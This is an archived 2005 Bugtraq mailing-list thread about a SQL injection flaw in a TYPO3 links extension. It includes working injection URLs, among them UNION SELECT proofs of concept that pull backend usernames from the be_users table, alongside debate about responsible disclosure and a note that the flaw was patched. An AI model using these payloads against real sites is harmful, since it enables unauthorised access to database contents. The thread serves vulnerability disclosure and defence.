TYPO3 SQL Injection vunerabilitie

[Fabian Becker]

Hello Bugtraq :)
Two week ago I found a SQL Inejetion vulnerabilitie in Typo3 (in the links-section/module/whatever you call it).
I didn't really try to develope an exploit because I thought typo3 would directly react.
But unfortunately that didn't happen :/

So here is the url that "exploits" the vulnerabilitie in a friendly way ;)

http://?&no_cache=1&action=getviewcategory&category_uid=1%20or%201=1

Maybe someone will find a way to exploit this one in a maliceous way so get typo3 to update it's software!

C ya
Neonomicus :)

Greets go out to:
Visus, Data-Storm-Industries-crew, Feanor, juck, the orkut-community :D, everybody I forgot ^^

Visit me at [url]http://data-storm.com :)

[Dennis Shewmaker]

In-Reply-To: <20050303170830.16705.qmail@www.securityfocus.com>

Hi:

>
>http://[UrlToLinksSection]?&no_cache=1&action=getviewcategory&category_uid=1%20or%201=1
>

What do you mean by [UrlToLinksSection]? I work with Typo3 almost every day and don't see what you are refering to.

Thanks,
Dennis

[Sebastian Wolfgarten]

--nextPart1255439.XLmqtBBgPF
Content-Type: text/plain;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

Hi Dennis,

I am pretty sure Fabian (Neonomicus) meant *every link* (or site) generated=
by=20
Typo3, didn't he? For instance if you search google for=20
"inurl:action=3Dgetviewcategory" I am pretty sure you will understand what =
he=20
meant (or am I wrong here)?

@Fabian (Neonomicus): Could you please provide more details about the=20
vulnerability you've discoveredl? By the way did you give the Typo3 guys=20
*enough* time to respond???

All the best,
Sebastian

--nextPart1255439.XLmqtBBgPF
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.6 (GNU/Linux)

iD8DBQBCJ5iGd8QFWG1Rza8RAo8YAJ9uAoaf9O+8huGFPJA5VF K3ftHuzgCgrqLS
u6K2unHJy7zCVRWHKs/kkfE=
=dOmK
-----END PGP SIGNATURE-----

--nextPart1255439.XLmqtBBgPF--

[GulfTech Security Research]

Here is a POC for the typo3 issue to test if you are vulnerable. This
doesn't pull the password, just the username :)

http://path/?&action=getviewcategory&category_uid=-99%20UNION%20SELECT%20use
rname%20FROM%20be_users%20WHERE%20uid=1/*

Also, it's easy to pull lists of data from the database using this
vulnerability since the query results are looped and displayed. Take the
following example. It would list usernames as categories

http://path/?&action=getviewcategory&category_uid=-99%20UNION%20SELECT%20use
rname,null%20FROM%20be_users%20WHERE%201/*

James

-----Original Message-----
From: Sebastian Wolfgarten [mailto:sebastian@wolfgarten.com]
Sent: Thursday, March 03, 2005 5:07 PM
To: bugtraq@securityfocus.com
Subject: Re: TYPO3 SQL Injection vunerabilitie

Hi Dennis,

I am pretty sure Fabian (Neonomicus) meant *every link* (or site) generated
by
Typo3, didn't he? For instance if you search google for
"inurl:action=getviewcategory" I am pretty sure you will understand what he
meant (or am I wrong here)?

@Fabian (Neonomicus): Could you please provide more details about the
vulnerability you've discoveredl? By the way did you give the Typo3 guys
*enough* time to respond???

All the best,
Sebastian

--
No virus found in this incoming message.
Checked by AVG Anti-Virus.
Version: 7.0.300 / Virus Database: 266.5.5 - Release Date: 3/1/2005



--
No virus found in this outgoing message.
Checked by AVG Anti-Virus.
Version: 7.0.300 / Virus Database: 266.5.5 - Release Date: 3/1/2005

[Michael Shigorin]

--3VRmKSg17yJg2MZg
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Fri, Mar 04, 2005 at 12:06:37AM +0100, Sebastian Wolfgarten wrote:
> I am pretty sure Fabian (Neonomicus) meant *every link* (or
> site) generated by Typo3, didn't he?

Even if he did, it would be just as incorrect as the original
Subject.

> @Fabian (Neonomicus): Could you please provide more details
> about the vulnerability you've discoveredl? By the way did you
> give the Typo3 guys *enough* time to respond???

Most likely it was some weird way of contacting them in the
first place: posting the message to BTS resulted in an updated
extension version being published within some 5 hours, security
announce on the website ("Severity: high") and a reminder on
contact address (typo3-project-security>lists.netfielders.de).

PS: when choosing "the next CMS", one of our considerations was
virtually empty bugtraq coverage (with the code being public
since 2000 and used on quite a few sites). Go figure :-)

--=20
---- WBR, Michael Shigorin <mike@altlinux.ru>
------ Linux.Kiev http://www.linux.kiev.ua/

--3VRmKSg17yJg2MZg
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.5 (GNU/Linux)

iD8DBQFCKJCtbsPDprYMm3IRAs50AJ4se94qmMUcmI4E6vScUn CfNfwwggCaAj/V
ZdnLHkJLeGZWSrDiNEMpkOI=
=HpPl
-----END PGP SIGNATURE-----

--3VRmKSg17yJg2MZg--

[Karsten Dambekalns]

In-Reply-To: <20050303170830.16705.qmail@www.securityfocus.com>

Hi.

>Two week ago I found a SQL Inejetion vulnerabilitie in Typo3 (in
the links-section/module/whatever you call it).

This is the first important information - this is NOT a vulnerability
in TYPO3 itself, but in an extension.

>I didn't really try to develope an exploit because I thought typo3
would directly react.
>But unfortunately that didn't happen :/

Who did you contact? When? How? At least the security team was
rather surprised about this. Could you explain this?

Finally: This has been analyzed by now, work is being done to fix
this.

Regards,
Karsten